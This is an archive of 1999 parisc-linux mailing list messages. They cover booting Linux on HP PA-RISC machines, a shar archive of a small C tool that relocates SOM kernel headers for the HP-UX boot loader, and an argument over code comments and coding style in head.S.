In-Reply-To: <199910220139.SAA29964@bart.allegro.com> from "Stan Sieler" at Oct 21, 99 06:39:36 pm
X-Mailer: ELM [version 2.4 PL24]
Xref: news.gmane.org gmane.linux.ports.parisc:6229

Re:

> The LIF tools won't accept lowercase filenames.
> Why care?  Because you could possibly boot HP-UX and use the LIF tools 
> to manipulate the vmlinuz file, for example.
...
> Note: my lifcp test was on 10.20
 
I also tested on HP-UX 11.00, with the same result.
  
-- 
Stan Sieler                                          sieler@allegro.com
                                         http://www.allegro.com/sieler/


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Sat, 23 Oct 1999 00:14:43 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <19991023001443.A22908@suse.de>
References: <199910212057.OAA19923@debian.fc.hp.com> <380FB68D.A8F28E62@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618577 26846 80.91.229.3 (22 Nov 2014 01:09:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:37 +0000 (UTC)
Cc: Paul Bame <bame@debian.fc.hp.com>, parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: prumpf@suse.de  Fri Oct 22 16:13:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA23874
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 16:13:58 -0600
Original-Received: (qmail 21787 invoked by uid 15267); 22 Oct 1999 22:14:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21772 invoked from network); 22 Oct 1999 22:14:54 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 22:14:54 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id D059B32CEB; Sat, 23 Oct 1999 00:14:51 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 76BEE67A7; Sat, 23 Oct 1999 00:14:46 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 50FE37F8B; Sat, 23 Oct 1999 00:14:43 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <380FB68D.A8F28E62@hp.com>; from Frank Rowand on Thu, Oct 21, 1999 at 05:57:49PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6230

> I'm cutting this from another discussion, don't feel like re-typing it.
> The file we are talking about (giving line number references) is head.S.
> We calculated the the offending offset was at label "blargh" plus a bit.
> 
> The following discussion talks about how we get to the code section
> where the HPMC occurs.  Earlier, we talked about hard-coding magic
> addresses, which are machine specific (that's in the macro "debug",
> which is what actually caused the HPMC -- line 162).

The debug macro should indeed have been empty (and is, now).  Sorry for that.

> Then I get a little incensed at the coding style here.... (editing out other
> people's responses to my tirade)
> 
> 
> > This is a **bogus** way to write code.  Comments should be required!!!!!! 
>   Is there any way to encourage that?

there is a comment on top of the section of code in question

	/* setup the BTLB.  XXX: This assumes a unified BTLB */"

which I agree isn't as verbose as it could be but it seems not to hard to me
to get to "we do a PDC_BLOCK_TLB call now" from "setup the BTLB".

> > But I'm *extremely* serious about that.  This code is unmaintainable in it's
>   current form.  It's going to be miserable adding 2.0 support to something
>   like that.

indeed it is, which is one of the reasons I proposed to wrap the virtually-mapped
kernel in a physically-mapped som binary which could do these pdc calls in C (and
would remove the need for most of head.S)

> > it's important to anyone who would like to pick up head.S and be able to
>   read it.  To decode the procedure call I had to know where to find
>   documentation for page zero, know what PDCE_PROC is, figure out what PDC
>   procedure was being called.
> > For me, it was about 45 seconds instead of the two seconds it would take to
>   read a comment.
> > For someone who doesn't have my background, it could be hours.

I cannot exactly remember whether this was based on gcc-generated code, but I
am pretty sure it was, which might explain why it doesn't use macros (of course,
it would have been a good idea to include the C code as comment in this case).

	Philipp Rumpf


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Sat, 23 Oct 1999 00:16:59 +0200
Lines: 5
Approved: news@gmane.org
Message-ID: <19991023001659.B22908@suse.de>
References: <Pine.LNX.4.10.9910212221480.18206-100000@vodka.thepuffingroup.com> <99102217512801.00256@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618577 26850 80.91.229.3 (22 Nov 2014 01:09:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>, frowand@cup.hp.com,
        Paul Bame <bame@debian.fc.hp.com>
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: prumpf@suse.de  Fri Oct 22 16:16:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA23988
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 16:16:06 -0600
Original-Received: (qmail 22420 invoked by uid 15267); 22 Oct 1999 22:17:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22407 invoked from network); 22 Oct 1999 22:17:04 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 22:17:04 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 32A4632CF0; Sat, 23 Oct 1999 00:17:02 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id D57CB67A7; Sat, 23 Oct 1999 00:17:00 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id E2F077F8B; Sat, 23 Oct 1999 00:16:59 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <99102217512801.00256@P100>; from Helge Deller on Fri, Oct 22, 1999 at 05:15:02PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:6231

> Yes, we all know that the boot-loader really needs a complete clean-up, and as
> it looks like Im the maintainer of the bootloader. 

This isn't bootloader code though.


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hack to use HPUX boot loader
Date: Fri, 22 Oct 1999 17:34:56 -0500
Lines: 363
Approved: news@gmane.org
Message-ID: <199910222334.RAA24091@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618577 26856 80.91.229.3 (22 Nov 2014 01:09:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Fri Oct 22 17:34:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA24311
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 17:34:10 -0600
Original-Received: (qmail 12665 invoked by uid 15267); 22 Oct 1999 23:35:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12657 invoked from network); 22 Oct 1999 23:35:08 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 23:35:08 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id RAA18896
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Oct 1999 17:34:57 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id RAA11884 for <parisc-linux@thepuffingroup.com>; Fri, 22 Oct 1999 17:34:56 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id RAA24091
	for <parisc-linux@thepuffingroup.com>; Fri, 22 Oct 1999 17:34:56 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:6232


Ok prumpf, here's the hack I suggested.  I didn't check it into CVS
anywhere (maybe arch/parisc/boot?).  It appears to work quite well
even without any changes to head.S

For those not privy to our conversation, this little tool munges
your SOM vmlinux file so that it can be loaded by the normal hpux
boot loader.  I'm not suggesting this is a great long-term strategy,
but it might make life easier for someone.

	-Paul Bame


#!/bin/sh
# This is a shell archive (produced by GNU sharutils 4.2).
# To extract the files from this archive, save it to some FILE, remove
# everything before the `!/bin/sh' line above, then type `sh FILE'.
#
# Made on 1999-10-22 17:33 MDT by <bame@fc.hp.com>.
# Source directory was `/users/bame/puffin/parisc/linux/arch/parisc/boot'.
#
# Existing files will *not* be overwritten unless `-c' is specified.
#
# This shar contains:
# length mode       name
# ------ ---------- ------------------------------------------
#   2197 -rw-r--r-- som_relocate.c
#   5425 -rw-r--r-- copy-of-som.h
#
save_IFS="${IFS}"
IFS="${IFS}:"
gettext_dir=FAILED
locale_dir=FAILED
first_param="$1"
for dir in $PATH
do
  if test "$gettext_dir" = FAILED && test -f $dir/gettext \
     && ($dir/gettext --version >/dev/null 2>&1)
  then
    set `$dir/gettext --version 2>&1`
    if test "$3" = GNU
    then
      gettext_dir=$dir
    fi
  fi
  if test "$locale_dir" = FAILED && test -f $dir/shar \
     && ($dir/shar --print-text-domain-dir >/dev/null 2>&1)
  then
    locale_dir=`$dir/shar --print-text-domain-dir`
  fi
done
IFS="$save_IFS"
if test "$locale_dir" = FAILED || test "$gettext_dir" = FAILED
then
  echo=echo
else
  TEXTDOMAINDIR=$locale_dir
  export TEXTDOMAINDIR
  TEXTDOMAIN=sharutils
  export TEXTDOMAIN
  echo="$gettext_dir/gettext -s"
fi
touch -am 1231235999 $$.touch >/dev/null 2>&1
if test ! -f 1231235999 && test -f $$.touch; then
  shar_touch=touch
else
  shar_touch=:
  echo
  $echo 'WARNING: not restoring timestamps.  Consider getting and'
  $echo "installing GNU \`touch', distributed in GNU File Utilities..."
  echo
fi
rm -f 1231235999 $$.touch
#
if mkdir _sh24082; then
  $echo 'x -' 'creating lock directory'
else
  $echo 'failed to create lock directory'
  exit 1
fi
# ============= som_relocate.c ==============
if test -f 'som_relocate.c' && test "$first_param" != -c; then
  $echo 'x -' SKIPPING 'som_relocate.c' '(file already exists)'
else
shar: Saving som_relocate.c (text)
  $echo 'x -' extracting 'som_relocate.c' '(text)'
  sed 's/^X//' << 'SHAR_EOF' > 'som_relocate.c' &&
#include <stdio.h>
#include <sys/time.h>
#include <assert.h>
#include "copy-of-som.h"
X
/* You'll need "copy-of-som.h" to compile this.  If you don't have it,
X * grab a copy from include/linux/som.h and remove the #include directive.
X *
X * Compile with gcc -o som_relocate som_relocate.c
X *
X * Run this on your parisc SOM kernel (vmlinux) and then you can use
X * the hpux boot loader to load it.  Here's what it looks like
X * when interacting with the boot ROM:
X *
X * ISL>					# the normal HP-UX boot prompt
X *
X * ISL> hpux /boot/vmlinux		# Use your path to vmlinux here
X *
X *
X * You can run this over and over without ill effect on the same
X * kernel image.
X *
X * Enjoy,
X *
X *				-Paul Bame
X */
X
/* relocate address to where it'll live physically */
#define RELOCATE(x)		x &= ~0xC0000000
X
int
main(int argc, char *argv[])
{
X    FILE *f;
X    struct som_hdr sh;
X    struct som_exec_auxhdr aux;
X
X    if (argc != 2)
X    {
X	fprintf(stderr, "Usage: %s <SOM-vmlinux>\n", argv[0]);
X	return 2;
X    }
X
X    if ((f = fopen(argv[1], "rb+")) == NULL)
X    {
X	perror(argv[1]);
X	return 3;
X    }
X
X    /* read the SOM header */
X    fread(&sh, sizeof sh, 1, f);
X
X    /* hack it */
X    printf("entry_space 0x%08x\n", sh.entry_space);
X    printf("entry_subspace 0x%08x\n", sh.entry_subspace);
X    printf("RELOCATE entry_offset 0x%08x\n", sh.entry_offset);	/********/
X    RELOCATE(sh.entry_offset);
X    printf("aux_header_location 0x%08x\n", sh.aux_header_location);
X    printf("aux_header_size %d\n", sh.aux_header_size);
X
X    /* write it */
X    rewind(f);
X    fwrite(&sh, sizeof sh, 1, f);
X
X    /* read the aux header */
X    fseek(f, sh.aux_header_location, SEEK_SET);
X    fread(&aux, sizeof aux, 1, f);
X    printf("RELOCATE aux.exec_tmem 0x%08x\n", aux.exec_tmem);
X    RELOCATE(aux.exec_tmem);
X    printf("aux.exec_tsize %d\n", aux.exec_tsize);
X    printf("RELOCATE aux.exec_dmem 0x%08x\n", aux.exec_dmem);
X    RELOCATE(aux.exec_dmem);
X    printf("aux.exec_dsize %d\n", aux.exec_dsize);
X    printf("RELOCATE aux.exec_entry 0x%08x\n", aux.exec_entry);
X    RELOCATE(aux.exec_entry);
X
X    /* write it */
X    fseek(f, sh.aux_header_location, SEEK_SET);
X    fwrite(&aux, sizeof aux, 1, f);
X
X    fclose(f);
X    return 0;
}
SHAR_EOF
  $shar_touch -am 102217281999 'som_relocate.c' &&
  chmod 0644 'som_relocate.c' ||
  $echo 'restore of' 'som_relocate.c' 'failed'
  if ( md5sum --help 2>&1 | grep 'sage: md5sum \[' ) >/dev/null 2>&1 \
  && ( md5sum --version 2>&1 | grep -v 'textutils 1.12' ) >/dev/null; then
    md5sum -c << SHAR_EOF >/dev/null 2>&1 \
    || $echo 'som_relocate.c:' 'MD5 check failed'
e5852faf2501dcc23a129c99abd1f7e1  som_relocate.c
SHAR_EOF
  else
    shar_count="`LC_ALL= LC_CTYPE= LANG= wc -c < 'som_relocate.c'`"
    test 2197 -eq "$shar_count" ||
    $echo 'som_relocate.c:' 'original size' '2197,' 'current size' "$shar_count!"
  fi
fi
# ============= copy-of-som.h ==============
if test -f 'copy-of-som.h' && test "$first_param" != -c; then
  $echo 'x -' SKIPPING 'copy-of-som.h' '(file already exists)'
else
shar: Saving copy-of-som.h (text)
  $echo 'x -' extracting 'copy-of-som.h' '(text)'
  sed 's/^X//' << 'SHAR_EOF' > 'copy-of-som.h' &&
#ifndef _LINUX_SOM_H
#define _LINUX_SOM_H
X
/* File format definition for SOM executables / shared libraries */
X
#define SOM_PAGESIZE 4096
X
/* this is the SOM header */
struct som_hdr {
X	short		system_id;		/* magic number - system */
X	short		a_magic;		/* magic number - file type */
X	unsigned int	version_id;		/* versiod ID: YYMMDDHH */
X	struct timespec	file_time;		/* system clock */
X	unsigned int	entry_space;		/* space for entry point */
X	unsigned int	entry_subspace;		/* subspace for entry point */
X	unsigned int	entry_offset;		/* offset of entry point */
X	unsigned int	aux_header_location;	/* auxiliary header location */
X	unsigned int	aux_header_size;	/* auxiliary header size */
X	unsigned int	som_length;		/* length of entire SOM */
X	unsigned int	presumed_dp;		/* compiler's DP value */
X	unsigned int	space_location;		/* space dictionary location */
X	unsigned int	space_total;		/* number of space entries */
X	unsigned int	subspace_location;	/* subspace entries location */
X	unsigned int	subspace_total;		/* number of subspace entries */
X	unsigned int	loader_fixup_location;	/* MPE/iX loader fixup */
X	unsigned int	loader_fixup_total;	/* number of fixup records */
X	unsigned int	space_strings_location;	/* (sub)space names */
X	unsigned int	space_strings_size;	/* size of strings area */
X	unsigned int	init_array_location;	/* reserved */
X	unsigned int	init_array_total;	/* reserved */
X	unsigned int	compiler_location;	/* module dictionary */
X	unsigned int	compiler_total;		/* number of modules */
X	unsigned int	symbol_location;	/* symbol dictionary */
X	unsigned int	symbol_total;		/* number of symbols */
X	unsigned int	fixup_request_location;	/* fixup requests */
X	unsigned int	fixup_request_total;	/* number of fixup requests */
X	unsigned int	symbol_strings_location;/* module & symbol names area */
X	unsigned int	symbol_strings_size;	/* size of strings area */
X	unsigned int	unloadable_sp_location;	/* unloadable spaces location */
X	unsigned int	unloadable_sp_size;	/* size of data */
X	unsigned int	checksum;
};
X
/* values for system_id */
X
#define SOM_SID_PARISC_1_0	0x020b
#define SOM_SID_PARISC_1_1	0x0210
#define SOM_SID_PARISC_2_0	0x0214
X
/* values for a_magic */
X
#define SOM_LIB_EXEC		0x0104
#define SOM_RELOCATABLE		0x0106
#define SOM_EXEC_NONSHARE	0x0107
#define SOM_EXEC_SHARE		0x0108
#define SOM_EXEC_DEMAND		0x010B
#define SOM_LIB_DYN		0x010D
#define SOM_LIB_SHARE		0x010E
#define SOM_LIB_RELOC		0x0619
X
/* values for version_id.  Decimal not hex, yes.  Grr. */
X
#define SOM_ID_OLD		85082112
#define SOM_ID_NEW		87102412
X
struct aux_id {
X	unsigned int	mandatory :1;	/* the linker must understand this */
X	unsigned int	copy	  :1;	/* Must be copied by the linker */
X	unsigned int	append	  :1;	/* Must be merged by the linker */
X	unsigned int	ignore	  :1;	/* Discard section if unknown */
X	unsigned int	reserved  :12;
X	unsigned int	type	  :16;	/* Header type */
X	unsigned int	length;		/* length of _following_ data */
};
X
/* The Exec Auxiliary Header.  Called The HP-UX Header within HP apparently. */
struct som_exec_auxhdr {
X	struct aux_id	som_auxhdr;
X	int		exec_tsize;	/* Text size in bytes */
X	int		exec_tmem;	/* Address to load text at */
X	int		exec_tfile;	/* Location of text in file */
X	int		exec_dsize;	/* Data size in bytes */
X	int		exec_dmem;	/* Address to load data at */
X	int		exec_dfile;	/* Location of data in file */
X	int		exec_bsize;	/* Uninitialised data (bss) */
X	int		exec_entry;	/* Address to start executing */
X	int		exec_flags;	/* loader flags */
X	int		exec_bfill;	/* initialisation value for bss */
};
X
/* Oh, the things people do to avoid casts.  Shame it'll break with gcc's
X * new aliasing rules really.
X */
union name_pt {
X	char *		n_name;
X	unsigned int	n_strx;
};
X
/* The Space Dictionary */
struct space_dictionary_record {
X	union name_pt	name;			/* index to subspace name */
X	unsigned int	is_loadable	:1;	/* loadable */
X	unsigned int	is_defined	:1;	/* defined within file */
X	unsigned int	is_private	:1;	/* not sharable */
X	unsigned int	has_intermediate_code :1; /* contains intermediate code */
X	unsigned int	is_tspecific	:1;	/* thread specific */
X	unsigned int	reserved	:11;	/* for future expansion */
X	unsigned int	sort_key	:8;	/* for linker */
X	unsigned int	reserved2	:8;	/* for future expansion */
X
X	int		space_number;		/* index */
X	int		subspace_index;		/* index into subspace dict */
X	unsigned int	subspace_quantity;	/* number of subspaces */
X	int		loader_fix_index;	/* for loader */
X	unsigned int	loader_fix_quantity;	/* for loader */
X	int		init_pointer_index;	/* data pointer array index */
X	unsigned int	init_pointer_quantity;	/* number of data pointers */
};
X
/* The Subspace Dictionary */
struct subspace_dictionary_record {
X	int		space_index;
X	unsigned int	access_control_bits :7;
X	unsigned int	memory_resident	:1;
X	unsigned int	dup_common	:1;
X	unsigned int	is_common	:1;
X	unsigned int	quadrant	:2;
X	unsigned int	initially_frozen :1;
X	unsigned int	is_first	:1;
X	unsigned int	code_only	:1;
X	unsigned int	sort_key	:8;
X	unsigned int	replicate_init	:1;
X	unsigned int	continuation	:1;
X	unsigned int	is_tspecific	:1;
X	unsigned int	is_comdat	:1;
X	unsigned int	reserved	:4;
X
X	int		file_loc_init_value;
X	unsigned int	initialization_length;
X	unsigned int	subspace_start;
X	unsigned int	subspace_length;
X
X	unsigned int	reserved2	:5;
X	unsigned int	alignment	:27;
X
X	union name_pt	name;
X	int		fixup_request_index;
X	unsigned int	fixup_request_quantity;
};
X
#endif /* _LINUX_SOM_H */
SHAR_EOF
  $shar_touch -am 102217001999 'copy-of-som.h' &&
  chmod 0644 'copy-of-som.h' ||
  $echo 'restore of' 'copy-of-som.h' 'failed'
  if ( md5sum --help 2>&1 | grep 'sage: md5sum \[' ) >/dev/null 2>&1 \
  && ( md5sum --version 2>&1 | grep -v 'textutils 1.12' ) >/dev/null; then
    md5sum -c << SHAR_EOF >/dev/null 2>&1 \
    || $echo 'copy-of-som.h:' 'MD5 check failed'
55c72739b33cd9ed3da5dce3a68cdfdb  copy-of-som.h
SHAR_EOF
  else
    shar_count="`LC_ALL= LC_CTYPE= LANG= wc -c < 'copy-of-som.h'`"
    test 5425 -eq "$shar_count" ||
    $echo 'copy-of-som.h:' 'original size' '5425,' 'current size' "$shar_count!"
  fi
fi
rm -fr _sh24082
exit 0


From - Thu Nov 08 21:10:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot messages from C3000 console
Date: Sat, 23 Oct 1999 01:42:17 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <19991023014216.C22908@suse.de>
References: <Pine.LNX.4.10.9910212221480.18206-100000@vodka.thepuffingroup.com> <99102217512801.00256@P100> <38109F94.7DA3551A@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618578 26859 80.91.229.3 (22 Nov 2014 01:09:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, Paul Bame <bame@debian.fc.hp.com>
To: frowand@cup.hp.com
Original-X-From: prumpf@suse.de  Fri Oct 22 17:41:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA24516
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 17:41:23 -0600
Original-Received: (qmail 14568 invoked by uid 15267); 22 Oct 1999 23:42:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14557 invoked from network); 22 Oct 1999 23:42:20 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 22 Oct 1999 23:42:20 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 6576D32CF0; Sat, 23 Oct 1999 01:42:17 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 4D3C567A7; Sat, 23 Oct 1999 01:42:17 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 3C7757F8B; Sat, 23 Oct 1999 01:42:17 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <38109F94.7DA3551A@hp.com>; from Frank Rowand on Fri, Oct 22, 1999 at 10:32:04AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6233

> one line comment would have made it obvious that the code was calling
> PDC_BLOCK_TLB().  For me, just annoying - for someone who might be missing one

I agree that adding "using PDC_BLOCK_TLB" to the "setup the BTLB" comment might
have been a good idea.

> understand some trivial code.  I want to encourage people to make the code
> easily readable so I don't have to waste a lot of time when my help is requested
> to debug or contribute code.
>
> saying that the sequence that I had to read in head.S to figure out the
> cause of the HPMC on the C3000 needed at least a comment to make it readable

I somehow get the impression what you are suggesting is the author of this
code (i.e. me) wrote this code, left for some weeks and you were forced to fix
this bug.  What I did was to leave for 38 hours.  

Of course it would be nice to have as little code as possible in the tree only
the author understands, and we don't have very much, but I don't think we'll
ever get rid of the last bits of "unreadable" code (in fact, there's enough of
that in the architecture-independent parts to spend a long and busy life
ranting about it).  You found some.

Now what you could have done is comment the code, change the code to use
#defines, yell at the author, yell at the author in public, or start a
discussion on how to avoid ever having any unreadable code in the kernel at
all.

You chose (possibly among other possibilities) to have a discussion.  I am
not sure which effect you intended it to have, but I am pretty sure the effect
it is going to have, if any, is to waste lots of time that otherwise would
have gone into development, both in the discussion itself and in enforcing
any rules that we "agree upon" (i.e. about which one side gets too tired to
argue about).

My impression is we'll save a lot of time by simply yelling at each other
about bad code as long as the number of developers and users is as low as it
currently is and most likely will be within the next 6 months.

	Philipp Rumpf


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Code Readability
Date: Sat, 23 Oct 1999 02:33:18 +0200
Lines: 105
Approved: news@gmane.org
Message-ID: <19991023023318.D22908@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618578 26862 80.91.229.3 (22 Nov 2014 01:09:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@suse.de  Fri Oct 22 18:32:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA24924
	for <parisc-linux@puffin.external.hp.com>; Fri, 22 Oct 1999 18:32:26 -0600
Original-Received: (qmail 26838 invoked by uid 15267); 23 Oct 1999 00:33:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26810 invoked from network); 23 Oct 1999 00:33:22 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 23 Oct 1999 00:33:22 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP id E850E32CEE
	for <parisc-linux@thepuffingroup.com>; Sat, 23 Oct 1999 02:33:18 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP id D3AE767A8
	for <parisc-linux@thepuffingroup.com>; Sat, 23 Oct 1999 02:33:18 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id BCE727F8B; Sat, 23 Oct 1999 02:33:18 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:6234

As there already seems to be a discussion going on about this, here's a list
of things I would change in order to save developers time;  this is obviously
biased towards developers who spent some time doing this, not towards those
new to the code.

 - get rid of the cvs $Log$s.  Not only do they tend to get longer than the
code in question, they also seem to be downright boring to me.  The only
information you need in the common case is "who was the last one to modify
this file" which $Id$ does just fine.

 - use #if 0 (or #ifdef SOMETHING) instead of "/*" to comment out sections of
code more than one line long.

 - try to avoid using C++-style "//" line comments, or any comment style except
the usual one, which is
	line; /* line comment */

/*
 * long comment
 * ...
 */

 - if you use #ifdef SOMETHING_DEBUG to conditionally compile sanity checks,
put an #undef SOMETHING_DEBUG or #define SOMETHING_DEBUG at the top of the
file.  If it is a header file, you don't want to run into problems because
#define SOMETHING_DEBUG is in some .c files and not in others.

 - stay with standard linux names.  We're pretty good at that.

 - look at Documentation/CodingStyle once in a while, especially Chapter 4

	Philipp Rumpf

X-From-Line: hppa-linux@thepuffingroup.com  Sun Feb 28 09:38:14 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id JAA21816
	for <pcj@merlin.pcj.primenet.com>; Sun, 28 Feb 1999 09:38:09 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Sun, 28 Feb 1999 09:38:13 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id KAA15878
	for <pcj@smtp-local.primenet.com>; Sun, 28 Feb 1999 10:25:42 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id KAA16656
	for <pcj@primenet.com>; Sun, 28 Feb 1999 10:54:14 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd016630; Sun Feb 28 10:54:08 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id MAA27269;
	Sun, 28 Feb 1999 12:05:42 -0500
Resent-Date: Sun, 28 Feb 1999 12:05:42 -0500
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-Id: <199902281700.JAA18341@milano.cup.hp.com>
